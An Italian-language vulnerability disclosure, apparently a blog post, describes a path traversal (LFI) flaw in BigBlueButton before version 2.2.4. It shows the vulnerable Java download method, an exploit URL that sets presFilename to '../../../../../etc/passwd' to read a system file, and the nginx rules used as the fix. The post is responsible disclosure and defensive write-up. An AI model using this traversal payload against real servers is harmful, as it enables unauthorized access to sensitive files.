
Le versioni di BigBlueButton precedenti alla 2.2.4 presentano una vulnerabilità LFI che consente l'accesso a file sensibili. 🚨
Le versioni di BigBlueButton precedenti alla 2.2.4 presentano una vulnerabilità LFI che consente l'accesso a file sensibili.
Durante un corso a distanza su un'istanza BigBlueButton, uno studente della mia classe ha condiviso il link alla presentazione di diapositive del mio insegnante e ho notato che il nome del file era incluso nell'URL.

Studente: "Non serve prendere appunti, ho la diapositiva."
Io: Beh, io ho un report di sicurezza da scrivere. 😂
Giocandoci un po', sono riuscito ad accedere al file /etc/passwd del server e a scoprire l'esistenza di una vulnerabilità di sicurezza nella soluzione open-source Big Blue Button.
Ho segnalato la vulnerabilità, il team di BBB è stato rapido nel rispondermi e nel correggere la vulnerabilità (solo pochi giorni).
public File getDownloadablePresentationFile(String meetingId, String presId, String presFilename) {
log.info("Find downloadable presentation for meetingId={} presId={} filename={}", meetingId, presId, presFilename);
File presDir = Util.getPresentationDir(presentationBaseDir, meetingId, presId);
return new File(presDir.getAbsolutePath() + File.separatorChar + presFilename);
}
Come puoi vedere, questo metodo usato da un PresentationController permette di scaricare un file di presentazione concatenando 3 parametri.
Questo rende possibile ottenere link come questo:
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500.pdf
Per sfruttare la vulnerabilità, basta ottenere un link valido a un file di presentazione e modificare il parametro presFilename per accedere a file sensibili.
https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=../../../../../etc/passwd

Il team di BBB ha corretto la vulnerabilità nella versione 2.2.4 tramite una regola di configurazione del server (HTTP), una regex e un formato preciso del nome del file.
location /bigbluebutton/presentation/download {
return 404;
}
location ~ "^/bigbluebutton/presentation/download\/[0-9a-f]+-[0-9]+/[0-9a-f]+-[0-9]+$" {
if ($arg_presFilename !~ "^[0-9a-f]+-[0-9]+\.[0-9a-zA-Z]+$") {
return 404;
}
proxy_pass http://127.0.0.1:8090$uri$is_args$args;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
# Workaround IE refusal to set cookies in iframe
add_header P3P 'CP="No P3P policy available"';
}